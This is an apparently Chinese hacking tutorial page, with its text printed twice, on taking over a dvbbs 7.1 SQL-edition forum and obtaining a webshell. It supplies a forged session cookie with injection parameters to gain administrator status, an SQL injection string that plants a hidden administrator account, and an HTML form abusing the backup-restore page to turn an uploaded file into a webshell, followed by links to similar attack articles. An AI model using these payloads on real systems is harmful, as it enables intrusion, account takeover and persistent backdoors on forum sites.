最新dvbbs 7.1sql提權得shell
更新時間：2007年01月16日 00:00:00 作者：
dvbbs 7.1跳過死循環(huán)，按linzi的方法只能是有一個管理權限，而只是新手上路的等級
如果是sql版，就不好暴庫，事實上好像只需要抓取SESSION即可，不要登陸任何用戶。
欺騙時不要關閉假死的那個ie
這個是死循環(huán)的SESSION:
ASPSESSIONIDQCTRTQAC=HOPNBJLCKHGDDPNAAIOCKGCJ
加入或替換到可以欺騙的瀏覽器的cookie欄。
List=list5+and+1%3D2=1&list5+and+1%3D1=1&list1+and+1%3D2=1&list1+and+1%3D1=1&list3+and+1%3D2=1&list3+and+1%3D1=1; ASPSESSIONIDQCTRTQAC=HOPNBJLCKHGDDPNAAIOCKGCJ
然后點任何板塊
就能發(fā)現，你欺騙的用戶和等級都是管理員了。
后臺管理員可以通過用戶獎勵那里加入
test','127.0.0.1',5) ;insert into dv_admin (username,[password],flag,adduser) values ('jinsdb','4ac646c9e65a1769','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37','jinsdb');--
dvbbs7.1 sql 后臺得ｓｈｅｌｌ
<form action="http://127.0.0.1/bbs/admin/data.asp?act...t=Restore" method="post">
<p>已上傳文件的位置：<input name="Dbpath" type="text" size="80"></p>
<p>要復制到的位置：<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p>
</form>
好像7.1的usercookies只是個幌子
根本沒必要
去掉了也一樣可以使用
搞笑
如果是sql版，就不好暴庫，事實上好像只需要抓取SESSION即可，不要登陸任何用戶。
欺騙時不要關閉假死的那個ie
這個是死循環(huán)的SESSION:
ASPSESSIONIDQCTRTQAC=HOPNBJLCKHGDDPNAAIOCKGCJ
加入或替換到可以欺騙的瀏覽器的cookie欄。
List=list5+and+1%3D2=1&list5+and+1%3D1=1&list1+and+1%3D2=1&list1+and+1%3D1=1&list3+and+1%3D2=1&list3+and+1%3D1=1; ASPSESSIONIDQCTRTQAC=HOPNBJLCKHGDDPNAAIOCKGCJ
然后點任何板塊
就能發(fā)現，你欺騙的用戶和等級都是管理員了。
后臺管理員可以通過用戶獎勵那里加入
test','127.0.0.1',5) ;insert into dv_admin (username,[password],flag,adduser) values ('jinsdb','4ac646c9e65a1769','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37','jinsdb');--
dvbbs7.1 sql 后臺得ｓｈｅｌｌ
<form action="http://127.0.0.1/bbs/admin/data.asp?act...t=Restore" method="post">
<p>已上傳文件的位置：<input name="Dbpath" type="text" size="80"></p>
<p>要復制到的位置：<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p>
</form>
好像7.1的usercookies只是個幌子
根本沒必要
去掉了也一樣可以使用
搞笑
相關文章
藍雨設計整站SQL注入漏洞...2007-01-01
IIS5 ISAPI Extension Back Door
IIS5 ISAPI Extension Back Door...2007-01-01
SQL Server 2000 注入防護大全(二)...2007-02-02
視窗操作系統(tǒng)密碼體系的弱點及對策(圖)...2007-01-01
利用圖片做木馬應用完全解析...2007-01-01
利用Session欺騙構造最隱蔽的WebShell...2007-01-01
dvbbs7.1 照樣從后臺得到webshell...2007-01-01
常用軟件加密寶典之一：啟動加密(圖)...2007-01-01
Sql Injection in DB2數據庫...2007-01-01
webshell權限提升技巧...2007-02-02